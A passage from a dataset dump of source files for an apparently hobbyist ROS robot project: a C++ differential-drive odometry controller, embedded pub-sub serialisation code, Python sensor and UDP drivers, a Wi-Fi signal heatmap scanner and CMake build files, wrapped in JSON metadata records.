unode_->track<airi::uccn::drive_state>(\n udrive_state_, std::bind(&DiffDriveController::uDriveStateCallback,\n this, std::placeholders::_1));\n\n udrive_command_provider_ = unode_->advertise(udrive_command_);\n\n command_sub_ = nh_.subscribe<const geometry_msgs::Twist &>(\n \"cmd_vel\", 10, &DiffDriveController::commandCallback, this);\n}\n\nvoid DiffDriveController::commandCallback(const geometry_msgs::Twist & twist) {\n airi::uccn::drive_command command;\n command.right_wheel.velocity = double_to_q16_16((\n 2. * twist.linear.x + twist.angular.z * wheel_base_) / wheel_diameter_);\n command.left_wheel.velocity = double_to_q16_16((\n 2. * twist.linear.x - twist.angular.z * wheel_base_) / wheel_diameter_);\n udrive_command_provider_.post(command);\n}\n\nvoid DiffDriveController::uDriveStateCallback(const airi::uccn::drive_state & state) {\n const ros::Time current_time = ros::Time::now();\n\n const double v_k = wheel_diameter_ * q16_16_to_double(\n state.right_encoder.velocity +\n state.left_encoder.velocity) / 4.;\n const double w_k = wheel_diameter_ * q16_16_to_double(\n state.right_encoder.velocity -\n state.left_encoder.velocity) / (2. * wheel_base_);\n\n const double dxy_k = wheel_diameter_ * q16_16_to_double(\n state.right_encoder.displacement +\n state.left_encoder.displacement) / 4.;\n const double dtheta_k = wheel_diameter_ * q16_16_to_double(\n state.right_encoder.displacement -\n state.left_encoder.displacement) / (2. * wheel_base_);\n\n estimated_pose_.x += dxy_k * std::cos(estimated_pose_.theta);\n estimated_pose_.y += dxy_k * std::sin(estimated_pose_.theta);\n estimated_pose_.theta += dtheta_k;\n\n std_msgs::Int32 ticks;\n ticks.data = state.left_encoder.ticks;\n left_encoder_ticks_pub_.publish(ticks);\n ticks.data = state.right_encoder.ticks;\n right_encoder_ticks_pub_.publish(ticks);\n\n std_msgs::Float64 position;\n position.data = q16_16_to_double(state.left_encoder.position);\n left_encoder_pos_pub_.publish(position);\n position.data = q16_16_to_double(state.right_encoder.position);\n right_encoder_pos_pub_.publish(position);\n\n std_msgs::Float64 velocity;\n velocity.data = q16_16_to_double(state.left_encoder.velocity);\n left_encoder_vel_pub_.publish(velocity);\n velocity.data = q16_16_to_double(state.right_encoder.velocity);\n right_encoder_vel_pub_.publish(velocity);\n\n tf2::Quaternion estimated_quat;\n estimated_quat.setRPY(0., 0., estimated_pose_.theta);\n\n nav_msgs::Odometry odom;\n odom.header.stamp = current_time;\n odom.header.frame_id = odom_frame_id_;\n odom.child_frame_id = base_frame_id_;\n odom.pose.pose.position.x = estimated_pose_.x;\n odom.pose.pose.position.y = estimated_pose_.y;\n odom.pose.pose.position.z = 0.0;\n odom.pose.pose.orientation.x = estimated_quat.x();\n odom.pose.pose.orientation.y = estimated_quat.y();\n odom.pose.pose.orientation.z = estimated_quat.z();\n odom.pose.pose.orientation.w = estimated_quat.w();\n odom.twist.twist.linear.x = v_k;\n odom.twist.twist.angular.z = w_k;\n odom_pub_.publish(odom);\n\n if (publish_tf_) {\n geometry_msgs::TransformStamped tf;\n tf.header.stamp = current_time;\n tf.header.frame_id = odom_frame_id_;\n tf.child_frame_id = base_frame_id_;\n tf.transform.translation.x = estimated_pose_.x;\n tf.transform.translation.y = estimated_pose_.y;\n tf.transform.translation.z = 0.;\n tf.transform.rotation.x = estimated_quat.x();\n tf.transform.rotation.y = estimated_quat.y();\n tf.transform.rotation.z = estimated_quat.z();\n tf.transform.rotation.w = estimated_quat.w();\n\n tf_broadcaster_.sendTransform(tf);\n }\n}\n\nvoid DiffDriveController::spin()\n{\n std::atomic_bool spinning{true};\n std::thread uthread([&]() {\n try {\n unode_->spin();\n } catch (const std::exception & e) {\n ROS_ERROR(\"%s, stopping spin\\n\", e.what());\n }\n spinning.store(false);\n });\n try {\n ros::CallbackQueue * callback_queue = ros::getGlobalCallbackQueue();\n while (ros::ok() && spinning.load()) {\n callback_queue->callAvailable(ros::WallDuration(0.5));\n }\n } catch (const std::exception & e) {\n ROS_ERROR(\"%s, stopping spin\\n\", e.what());\n unode_->stop();\n uthread.join();\n throw;\n }\n unode_->stop();\n uthread.join();\n}\n\n} // namespace base\n\n} // namespace airi\n\n" }, { "alpha_fraction": 0.6593655347824097, "alphanum_fraction": 0.6593655347824097, "avg_line_length": 25.479999542236328, "blob_id": "c2cd8f38b6049ab0343a347828c74cc712bbd603", "content_id": "1b6e94b53f8865a000f7f221c5fbe03a0f5cf27a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1324, "license_type": "no_license", "max_line_length": 66, "num_lines": 50, "path": "/airi_heatmap/scripts/pdf_generator_node", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport os\nimport rospy\nfrom std_msgs.msg import Empty\nfrom nav_msgs.msg import OccupancyGrid\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\nfrom airi_heatmap.utils import log\nfrom airi_heatmap.pdf_generation import pdf_generator\n\nDB_PATH = os.environ['DB_PATH']\nBase = declarative_base()\n\nclass PDFGeneratorNode:\n\n def __init__(self, name='pdf_node'):\n rospy.init_node(name, anonymous=True)\n\n # Change echo to True to troubleshoot\n self._engine = create_engine(DB_PATH, echo=False)\n self._session = sessionmaker(bind=engine)()\n self._current_map = None\n\n rospy.Subscriber('map', OccupancyGrid, self._map_callback)\n rospy.Subscriber('pdf_gen', Empty, self._gen_callback)\n\n def _map_callback(msg):\n self._current_map = msg\n\n def _gen_callback(msg):\n self.generate()\n\n def generate(self):\n if not self._current_map:\n rospy.logerr('No map, cannot generate!')\n return\n pdf_generator(self._session, self._current_map)\n\n def spin(self):\n rospy.spin()\n\nif __name__ == \"__main__\":\n node = PDFGeneratorNode()\n try:\n node.spin()\n except rospy.ROSInterruptException as e:\n print(e)\n" }, { "alpha_fraction": 0.711854100227356, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 23.55223846435547, "blob_id": "be0e351e820f51772ad2f4ea1ffeaa9f367fa76f", "content_id": "f84b660e59f3bd9b3089a5fb7f0684cb1946c88f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1645, "license_type": "no_license", "max_line_length": 78, "num_lines": 67, "path": "/airi_base_cpp/include/airi_base_cpp/airi_diff_drive_controller.hpp", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "#ifndef AIRI_BASE_CPP_AIRI_BASE_CONTROLLER_HPP_\n#define AIRI_BASE_CPP_AIRI_BASE_CONTROLLER_HPP_\n\n#include <memory>\n\n#include <ros/ros.h>\n#include <tf2_ros/transform_broadcaster.h>\n\n#include <geometry_msgs/Pose2D.h>\n#include <geometry_msgs/Twist.h>\n\n#include \"airi/uccn.hpp\"\n\nnamespace airi {\n\nnamespace base {\n\nclass DiffDriveController {\npublic:\n DiffDriveController();\n\n void spin();\n\nprivate:\n // ROS callbacks\n void commandCallback(const geometry_msgs::Twist & twist);\n\n // uCCN callbacks\n void uDriveStateCallback(const airi::uccn::drive_state & state);\n\n // ROS interfaces\n ros::NodeHandle nh_;\n ros::NodeHandle pnh_;\n ros::Publisher odom_pub_;\n ros::Subscriber command_sub_;\n ros::Publisher left_encoder_ticks_pub_;\n ros::Publisher right_encoder_ticks_pub_;\n ros::Publisher left_encoder_vel_pub_;\n ros::Publisher right_encoder_vel_pub_;\n ros::Publisher left_encoder_pos_pub_;\n ros::Publisher right_encoder_pos_pub_;\n tf2_ros::TransformBroadcaster tf_broadcaster_;\n\n // uCCN interfaces\n std::unique_ptr<::uccn::node> unode_;\n ::uccn::record<airi::uccn::drive_state> udrive_state_;\n ::uccn::record<airi::uccn::drive_command> udrive_command_;\n ::uccn::record_provider<airi::uccn::drive_command> udrive_command_provider_;\n\n // Controller state\n double wheel_base_;\n double wheel_diameter_;\n double wheel_encoder_resolution_;\n std::string odom_frame_id_;\n std::string base_frame_id_;\n bool publish_tf_;\n\n geometry_msgs::Pose2D estimated_pose_;\n airi::uccn::drive_state last_state_;\n ros::Time last_state_time_;\n};\n\n} // namespace base\n\n} // namespace airi\n\n#endif // AIRI_BASE_CPP_AIRI_BASE_CONTROLLER_HPP_\n" }, { "alpha_fraction": 0.6280388832092285, "alphanum_fraction": 0.6766612529754639, "avg_line_length": 19.566667556762695, "blob_id": "25bb15fd7ebabff702d052c786691d58eec34b2e", "content_id": "a27b421ae47965f53df45301ad2fd16219631def", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1234, "license_type": "permissive", "max_line_length": 87, "num_lines": 60, "path": "/airi_base_cpp/uccn/include/airi/uccn.h", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "#ifndef AIRI_UCCN_H_\n#define AIRI_UCCN_H_\n\n#include <stdint.h>\n#include \"uccn/uccn.h\"\n\ntypedef int32_t q16_16_t;\n\n#if defined(__cplusplus)\n#define q16_16_to_double(n) (static_cast<double>(n) / (1 << 16))\n#define double_to_q16_16(n) (static_cast<q16_16_t>((n) * (1 << 16)))\n#else\n#define q16_16_to_double(n) (((double)(n)) / (1 << 16))\n#define double_to_q16_16(n) ((q16_16_t)((n) * (1 << 16)))\n#endif\n\nstruct qencoder_state_s\n{\n int32_t ticks; // in ticks\n q16_16_t position; // in rads\n q16_16_t displacement; // in rads\n q16_16_t velocity; // in rads/sec\n};\n\nstruct airi_uccn_drive_state_s\n{\n struct qencoder_state_s left_encoder;\n struct qencoder_state_s right_encoder;\n};\n\nstruct wheel_command_s\n{\n q16_16_t velocity; // in rads/sec\n};\n\nstruct airi_uccn_drive_command_s\n{\n struct wheel_command_s left_wheel;\n struct wheel_command_s right_wheel;\n};\n\n#undef EXTERN\n#if defined(__cplusplus)\n#define EXTERN extern \"C\"\nextern \"C\"\n{\n#else\n#define EXTERN extern\n#endif\n\nconst struct uccn_record_typesupport_s * get_airi_uccn_drive_state_typesupport(void);\n\nconst struct uccn_record_typesupport_s * get_airi_uccn_drive_command_typesupport(void);\n\n#undef EXTERN\n#if defined(__cplusplus)\n}\n#endif\n\n#endif // AIRI_UCCN_H_\n" }, { "alpha_fraction": 0.5798816680908203, "alphanum_fraction": 0.6035503149032593, "avg_line_length": 18.882352828979492, "blob_id": "b24e9264cb3f829569ccf079c6657b66ac89076e", "content_id": "9752367d9357e822e2eb63231d8cadbc4e4143ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 338, "license_type": "no_license", "max_line_length": 37, "num_lines": 17, "path": "/airi_base_py/scripts/airi_base_node", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n\nimport rospy\n\nfrom airi_base import MPU6050Driver\n\nif __name__ == '__main__':\n rospy.init_node('airi_base_node')\n imu_driver = MPU6050Driver()\n imu_driver.start()\n try:\n rospy.spin()\n except KeyboardInterrupt:\n pass\n finally:\n imu_driver.shutdown()\n imu_driver.join()\n" }, { "alpha_fraction": 0.5754716992378235, "alphanum_fraction": 0.5754716992378235, "avg_line_length": 51, "blob_id": "41e5c5fab4c75f16ae0f1861cdfeaab099ffc66e", "content_id": "d424edff525f78dc6d39d1b5487914f5c95942e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 106, "license_type": "no_license", "max_line_length": 65, "num_lines": 2, "path": "/airi_heatmap/src/airi_heatmap/utils.py", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "\n\ndef log(application, log_level, msg):\n print(\"[{}] - [{}] - {}\".format(application, log_level, msg))\n" }, { "alpha_fraction": 0.6800000071525574, "alphanum_fraction": 0.699999988079071, "avg_line_length": 16.5, "blob_id": "b814c9d065d6aa50a6637dee89bd44ffc425c2c9", "content_id": "5d655e286d033b7dc2d88ca4cbf2cac167c2bc97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 350, "license_type": "no_license", "max_line_length": 47, "num_lines": 20, "path": "/airi_base_py/CMakeLists.txt", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "cmake_minimum_required(VERSION 2.8.3)\nproject(airi_base_py)\n\ncmake_policy(SET CMP0054 NEW)\n\n## Find catkin macros and libraries\nfind_package(catkin REQUIRED)\n\ncatkin_package()\n\ncatkin_python_setup()\n\n#############\n## Install ##\n#############\n\ncatkin_install_python(\n PROGRAMS scripts/airi_base_node\n DESTINATION ${CATKIN_PACKAGE_BIN_DESTINATION}\n)\n" }, { "alpha_fraction": 0.6018568873405457, "alphanum_fraction": 0.6116876006126404, "avg_line_length": 44.775001525878906, "blob_id": "82e164774f7a5c08aa9b70e55e82ff73a97dcb3d", "content_id": "ffa7bec5d4512bf69c3b88d8613721e35a0fdb6d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1831, "license_type": "no_license", "max_line_length": 126, "num_lines": 40, "path": "/airi_heatmap/src/airi_heatmap/measurement.py", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport subprocess\nfrom airi_heatmap.utils import log\n\n#sudo nmcli -f SSID,BSSID,CHAN,FREQ,RATE,SIGNAL,SECURITY dev wifi rescan\n#sudo nmcli -f SSID,BSSID,CHAN,FREQ,RATE,SIGNAL,SECURITY dev wifi\n\ndef get_measure(model):\n if model is 'MacOS':\n measure = subprocess.check_output(['airport', '-s'])\n elif model is 'Raspi':\n measure = subprocess.check_output(['airport', '-s'])\n elif model is 'Linux':\n subprocess.check_output(['sudo', 'nmcli', '-f', 'SSID,BSSID,CHAN,FREQ,RATE,SIGNAL,SECURITY', 'dev', 'wifi', 'rescan'])\n measure = subprocess.check_output(['sudo', 'nmcli', '-f', 'SSID,BSSID,CHAN,FREQ,RATE,SIGNAL,SECURITY', 'dev', 'wifi'])\n else:\n log('heatmap','ERROR','System not recognized.')\n return bash_to_list(measure.decode('utf-8'))\n\ndef bash_to_list(measure):\n measure_list = []\n for wifi_measure in measure.splitlines():\n wifi_measure_element = wifi_measure.split()\n for text in wifi_measure_element:\n if ':' in text and wifi_measure_element.index(text) != 1:\n for i in reversed(range(1, wifi_measure_element.index(text))):\n wifi_measure_element[i-1] = wifi_measure_element[i-1] + ' ' + wifi_measure_element.pop(i)\n break\n # find returns -1 when there's no match\n if (wifi_measure_element[-2].find('WPA') != -1):\n wifi_measure_element[-1] = '-'.join((wifi_measure_element.pop(-2), wifi_measure_element[-1]))\n if wifi_measure_element[-5].find('MHz') != -1:\n wifi_measure_element.pop(-5)\n if wifi_measure_element[-3].find('Mbit/s') != -1:\n wifi_measure_element.pop(-3)\n measure_list.append(wifi_measure_element)\n # Delete headers\n del measure_list[0]\n return measure_list\n" }, { "alpha_fraction": 0.6427640318870544, "alphanum_fraction": 0.6518904566764832, "avg_line_length": 27.407407760620117, "blob_id": "2e61b817e5b540ae34029a5198c411ca42afdb96", "content_id": "fe7500cf620d7f62597d8d5b92e7294949400350", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 767, "license_type": "no_license", "max_line_length": 72, "num_lines": 27, "path": "/airi_heatmap/scripts/scanner_node", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport rospy\nfrom std_msgs.msg import String\n\nfrom airi_heatmap.measurement import get_measure\n\n#sudo nmcli -f SSID,BSSID,CHAN,FREQ,RATE,SIGNAL,SECURITY dev wifi rescan\n#sudo nmcli -f SSID,BSSID,CHAN,FREQ,RATE,SIGNAL,SECURITY dev wifi\n\ndef ros_measure():\n rospy.init_node('measure_node', anonymous=True)\n pub = rospy.Publisher('measure_db', String, queue_size=10)\n rate = rospy.Rate(0.06) # every ~14 sec\n while not rospy.is_shutdown():\n measure = get_measure('Linux')\n #rospy.loginfo(measure)\n msg = String()\n msg.data = repr(measure)\n pub.publish(msg)\n rate.sleep()\n\nif __name__ == \"__main__\":\n try:\n ros_measure()\n except rospy.ROSInterruptException as e:\n print(e)\n" }, { "alpha_fraction": 0.6129032373428345, "alphanum_fraction": 0.6178659796714783, "avg_line_length": 19.149999618530273, "blob_id": "93383fa02f8a052fde67ef2a872f3768947878c6", "content_id": "ced893ffa17454923782a96fcb94290bfb2eef7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 403, "license_type": "no_license", "max_line_length": 59, "num_lines": 20, "path": "/airi_base_cpp/src/airi_diff_drive_controller_node.cpp", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "#include <ros/ros.h>\n\n#include \"airi_base_cpp/airi_diff_drive_controller.hpp\"\n\nint main(int argc, char *argv[]) {\n int ret = 0;\n\n ros::init(argc, argv, \"airi_diff_drive_controller_node\");\n\n try {\n airi::base::DiffDriveController controller;\n controller.spin();\n } catch (const std::exception & e) {\n std::cerr << e.what() << std::endl;\n ret = -1;\n }\n\n ros::shutdown();\n return ret;\n}\n" }, { "alpha_fraction": 0.6741213798522949, "alphanum_fraction": 0.6876996755599976, "avg_line_length": 40.733333587646484, "blob_id": "d8cd1349ea1991b7ff4cf9a2d38a9a97037256a5", "content_id": "ea2b280c8d36e5430de09151dcccf276b3efeba6", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2504, "license_type": "permissive", "max_line_length": 86, "num_lines": 60, "path": "/airi_base_cpp/uccn/src/drive_state_typesupport.c", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "#include \"airi/uccn.h\"\n\n#include \"mpack/mpack.h\"\n\nstatic void *drive_state_allocate(const struct uccn_record_typesupport_s * ts) {\n static struct airi_uccn_drive_state_s buffer;\n (void)ts;\n return &buffer;\n}\n\nstatic ssize_t drive_state_serialize(const struct uccn_record_typesupport_s * ts,\n struct airi_uccn_drive_state_s * content,\n struct buffer_head_s * blob) {\n mpack_writer_t writer;\n (void)ts;\n mpack_writer_init(&writer, blob->data, blob->size);\n mpack_write_i32(&writer, content->left_encoder.ticks);\n mpack_write_i32(&writer, content->left_encoder.position);\n mpack_write_i32(&writer, content->left_encoder.displacement);\n mpack_write_i32(&writer, content->left_encoder.velocity);\n mpack_write_i32(&writer, content->right_encoder.ticks);\n mpack_write_i32(&writer, content->right_encoder.position);\n mpack_write_i32(&writer, content->right_encoder.displacement);\n mpack_write_i32(&writer, content->right_encoder.velocity);\n blob->length = mpack_writer_buffer_used(&writer);\n if (mpack_writer_destroy(&writer) != mpack_ok) {\n return -1;\n }\n return blob->length;\n}\n\nstatic ssize_t drive_state_deserialize(const struct uccn_record_typesupport_s * ts,\n const struct buffer_head_s * blob,\n struct airi_uccn_drive_state_s * content) {\n mpack_reader_t reader;\n (void)ts;\n mpack_reader_init_data(&reader, blob->data, blob->length);\n content->left_encoder.ticks = mpack_expect_i32(&reader);\n content->left_encoder.position = mpack_expect_i32(&reader);\n content->left_encoder.displacement = mpack_expect_i32(&reader);\n content->left_encoder.velocity = mpack_expect_i32(&reader);\n content->right_encoder.ticks = mpack_expect_i32(&reader);\n content->right_encoder.position = mpack_expect_i32(&reader);\n content->right_encoder.displacement = mpack_expect_i32(&reader);\n content->right_encoder.velocity = mpack_expect_i32(&reader);\n if (mpack_reader_destroy(&reader) != mpack_ok) {\n return -1;\n }\n return blob->length;\n}\n\nstatic const struct uccn_record_typesupport_s g_drive_state_typesupport = {\n .allocate = (uccn_record_allocate_fn)drive_state_allocate,\n .serialize = (uccn_record_serialize_fn)drive_state_serialize,\n .deserialize = (uccn_record_deserialize_fn)drive_state_deserialize,\n};\n\nconst struct uccn_record_typesupport_s * get_airi_uccn_drive_state_typesupport(void) {\n return &g_drive_state_typesupport;\n}\n" }, { "alpha_fraction": 0.5796868801116943, "alphanum_fraction": 0.5810919404029846, "avg_line_length": 39.8278694152832, "blob_id": "0ce761ea4d239acbc3a3f55aa6fdd632e8de65a9", "content_id": "99e871b6d7252666dd0ccd52a2b9928ac1199205", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4982, "license_type": "no_license", "max_line_length": 102, "num_lines": 122, "path": "/airi_base_py/airi_base/drivers/udp_driver.py", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "\nimport os\nimport msgpack\nimport rospy\nimport select\nimport socket\nimport threading\n\n\nclass UDPDriver(threading.Thread):\n\n def __init__(self, name='', buffer_size=512, liveliness_duration=0.2):\n super(UDPDriver, self).__init__(name=rospy.resolve_name(name))\n self._host = rospy.get_param(rospy.resolve_name('~host', name))\n self._port = rospy.get_param(rospy.resolve_name('~port', name))\n self._inbound_traffic = self._outbound_traffic = False\n self._liveliness_duration = liveliness_duration\n self._handlers = {'ctrl': [self._handle_control]}\n self._control_handlers = {'shutdown': [self._handle_shutdown]}\n self._buffer = bytearray(buffer_size)\n self._is_shutdown = True\n\n def run(self):\n self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n shutdown_listener_fd, self._shutdown_notifier_fd = os.pipe()\n self._send_packet({'ctrl': 'connect'})\n liveliness_check_timer = rospy.Timer(\n self._liveliness_duration, self._liveliness_check, reset=True\n )\n self._is_shutdown = False\n try:\n while not rospy.is_shutdown() and not self._is_shutdown:\n ready, _, _ = select.select([self._socket, shutdown_listener_fd], [], [])\n if self._socket in ready:\n nbytes, (host, port) = self._socket.recvfrom_into(self._buffer, len(self._buffer))\n if port != self._port or host != self._host:\n rospy.loginfo('Got a message from %s:%d, ignoring', self._host, self._port)\n continue\n self._handle_packet(self._buffer[:nbytes])\n if shutdown_listener_fd in ready:\n self._is_shutdown = True\n finally:\n self._is_shutdown = True\n liveliness_check_timer.shutdown()\n self._send_packet({'ctrl': 'shutdown'})\n os.close(shutdown_listener_fd)\n os.close(self._shutdown_notifier_fd)\n self._socket.close()\n\n def shutdown(self):\n if not self._is_shutdown:\n raise RuntimeError('cannot shutdown a driver that is not running')\n self._shutdown_notifier_fd.write('!')\n\n def is_shutdown(self):\n return self._is_shutdown\n\n def _liveliness_check(self, event):\n if not self._inbound_traffic:\n rospy.logwarn(\n 'No inbound traffic from %s:%d in the last %d seconds',\n self._host, self._port, event.last_duration\n )\n self._inbound_traffic = False\n if not self._outbound_traffic:\n rospy.logdebug(\n 'No outbound traffic to %s:%d in the last %d seconds',\n self._host, self._port, event.last_duration\n )\n self._assert_liveliness()\n self._outbound_traffic = False\n\n def _assert_liveliness(self):\n rospy.logdebug(\"Asserting liveliness with %s:%d\", self._host, self._port)\n self._send_packet(msgpack.packb({}))\n\n def _send_packet(self, packet):\n rospy.logdebug(\"Sending a '%s' packet to %s:%d\", packet, self._host, self._port)\n assert self._socket.sendto(packet, (self._ip, self._port)) == len(packet)\n self._outbound_traffic = True\n\n def _handle_packet(self, packet):\n rospy.logdebug(\"Got '%s' packet from %s:%d\", packet, self._host, self._port)\n self.handle(msgpack.unpackb(packet))\n self._inbound_traffic = True\n\n def _handle_control(self, command):\n if not isinstance(command, (list, tuple)):\n command = tuple(command)\n name, args = command[0], command[1:]\n if name not in self._control_handlers:\n rospy.logwarn(\"Got an unknown '%!s' control command\", name)\n return\n for handler in self._control_handlers[name]:\n handler(*args)\n\n def _handle_shutdown(self):\n rospy.logdebug(\"Got a 'shutdown' command from %s:%d\", self._host, self._port)\n rospy.logerr(\"Remote %s:%d end is forcing a shutdown\", self._host, self._port)\n self.shutdown()\n\n def send(self, data):\n if self._is_shutdown:\n raise RuntimeError('cannot use a shutdown driver')\n rospy.logdebug(\"Sending '%!s' to %s:%d\", data, self._host, self._port)\n self._send_packet(msgpack.packb(data))\n\n def handle(self, data):\n rospy.logdebug(\"Got '%!s' from %s:%d\", data, self._host, self._port)\n if not data:\n # Likely the other end asserted liveliness\n return\n for tag, content in data:\n if tag not in self._handlers:\n rospy.logwarn(\"Got an unknown '%s' data tag\", tag)\n continue\n for callback in self._handlers[tag]:\n callback(content)\n\n def register_handler(self, tag, callback):\n if tag not in self._handlers:\n self._handlers = []\n self._handlers[tag].append(callback)\n" }, { "alpha_fraction": 0.7543859481811523, "alphanum_fraction": 0.7543859481811523, "avg_line_length": 27.5, "blob_id": "713eb9bf06919db527bd71ba59799daf464ca53b", "content_id": "2fbe279ec5db2a78287ede3f7ecac1d0213acb73", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 58, "license_type": "permissive", "max_line_length": 49, "num_lines": 2, "path": "/airi_base_cpp/uccn/uccn/README.md", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "# uccn\nμCCN (or the stupid pub-sub for embedded systems)\n" }, { "alpha_fraction": 0.5852941274642944, "alphanum_fraction": 0.5899999737739563, "avg_line_length": 37.6363639831543, "blob_id": "02c50f807a6445650e7d7cf99248adbadc14c2b5", "content_id": "a1191cc03ea2d2c6756cfc4322a8c7db6492d810", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1700, "license_type": "no_license", "max_line_length": 106, "num_lines": 44, "path": "/airi_base_py/airi_base/drivers/ky033_ring_driver.py", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "import rospy\n\nimport sensor_msgs\n\nfrom udp_driver import UDPDriver\n\n\nINF = float('inf')\n\nclass KY033RangerRingDriver(UDPDriver):\n\n def __init__(self, name='~ranger_ring_driver'):\n super(KY033RangerRingDriver, self).__init__(name)\n self._ranger_topics = rospy.get_param(rospy.resolve_name('~ranger_topics', name), ['ranger'])\n self._ranger_frames = rospy.get_param(rospy.resolve_name('~ranger_frames', name), ['ranger_link'])\n if len(self._ranger_topics) != len(self._ranger_frames):\n raise RuntimeError(\n \"Ranger topics' count ({}) and frames' count ({}) for {} do not match\".format(\n len(self._sonar_topics), len(self._sonar_frames), self.name\n )\n )\n self._range_publishers = [\n rospy.Publisher(topic, sensor_msgs.msg.Range, queue_size=1) for topic in self._ranger_topics\n ]\n\n def handle_data(self, data):\n try:\n detections = [bool(value) for value in data]\n except (TypeError, ValueError):\n rospy.logerr('%s got unexpected range data: %!s', self.name, data)\n return\n\n for publisher, frame, detection in zip(\n self._range_publishers, self._ranger_frames, detections\n ):\n range_msg = sensor_msgs.msg.Range()\n range_msg.header.stamp = rospy.get_rostime()\n range_msg.header.frame_id = frame\n range_msg.radiation_type = sensor_msgs.msg.Range.INFRARED\n range_msg.fov = 0.\n range_msg.min_range = -INF\n range_msg.max_range = INF\n range_msg.range = INF if detection else -INF\n publisher.publish(range_msg)\n" }, { "alpha_fraction": 0.7319587469100952, "alphanum_fraction": 0.7383029460906982, "avg_line_length": 23.72549057006836, "blob_id": "779bef67eaef8a257075b77aef929b71a07e9809", "content_id": "7ded83aa1256e5e0c7592ea6a8dcbca3a583d037", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 1261, "license_type": "no_license", "max_line_length": 87, "num_lines": 51, "path": "/airi_base_cpp/CMakeLists.txt", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "cmake_minimum_required(VERSION 3.5)\nproject(airi_base_cpp)\n\nset(CMAKE_CXX_STANDARD 14)\nset(CMAKE_CXX_STANDARD_REQUIRED ON)\n\n## Find catkin macros and libraries\nfind_package(catkin REQUIRED roscpp std_msgs geometry_msgs nav_msgs tf2 tf2_ros)\n\ncatkin_package(\n CATKIN_DEPENDS roscpp std_msgs geometry_msgs nav_msgs tf2 tf2_ros\n)\n\n#############\n## Build ##\n#############\n\nadd_subdirectory(uccn)\n\ninclude_directories(include ${catkin_INCLUDE_DIRS})\n\nadd_library(${PROJECT_NAME}\n src/airi_diff_drive_controller.cpp\n)\n\ntarget_link_libraries(${PROJECT_NAME} ${catkin_LIBRARIES} airi-uccn)\n\nadd_executable(airi_diff_drive_controller_node src/airi_diff_drive_controller_node.cpp)\n\ntarget_link_libraries(airi_diff_drive_controller_node\n ${PROJECT_NAME} ${catkin_LIBRARIES}\n)\n\n#############\n## Install ##\n#############\n\ninstall(TARGETS ${PROJECT_NAME}\n ARCHIVE DESTINATION ${CATKIN_PACKAGE_LIB_DESTINATION}\n LIBRARY DESTINATION ${CATKIN_PACKAGE_LIB_DESTINATION}\n RUNTIME DESTINATION ${CATKIN_GLOBAL_BIN_DESTINATION}\n)\n\ninstall(TARGETS airi_diff_drive_controller_node\n RUNTIME DESTINATION ${CATKIN_PACKAGE_BIN_DESTINATION}\n)\n\n## Mark other files for installation (e.g. launch files, etc.)\ninstall(DIRECTORY launch\n DESTINATION ${CATKIN_PACKAGE_SHARE_DESTINATION}\n)\n" }, { "alpha_fraction": 0.6958105564117432, "alphanum_fraction": 0.6958105564117432, "avg_line_length": 17.299999237060547, "blob_id": "7ead18dd5af6a6ec7415ced254ccfe9e3b9582a0", "content_id": "0146902ae0dc34bb638879cd5cce8d8e5c054f37", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 549, "license_type": "permissive", "max_line_length": 62, "num_lines": 30, "path": "/airi_base_cpp/uccn/include/airi/uccn.hpp", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "#ifndef AIRI_UCCN_HPP_\n#define AIRI_UCCN_HPP_\n\n#include \"uccn/uccn.hpp\"\n\n#include \"airi/uccn.h\"\n\nnamespace airi {\n\nnamespace uccn {\n\nstruct drive_state : airi_uccn_drive_state_s\n{\n static const uccn_record_typesupport_s * get_typesupport() {\n return get_airi_uccn_drive_state_typesupport();\n }\n};\n\nstruct drive_command : airi_uccn_drive_command_s\n{\n static const uccn_record_typesupport_s * get_typesupport() {\n return get_airi_uccn_drive_command_typesupport();\n }\n};\n\n} // namespace uccn\n\n} // namespace airi\n\n#endif // AIRI_UCCN_HPP_\n" }, { "alpha_fraction": 0.8074073791503906, "alphanum_fraction": 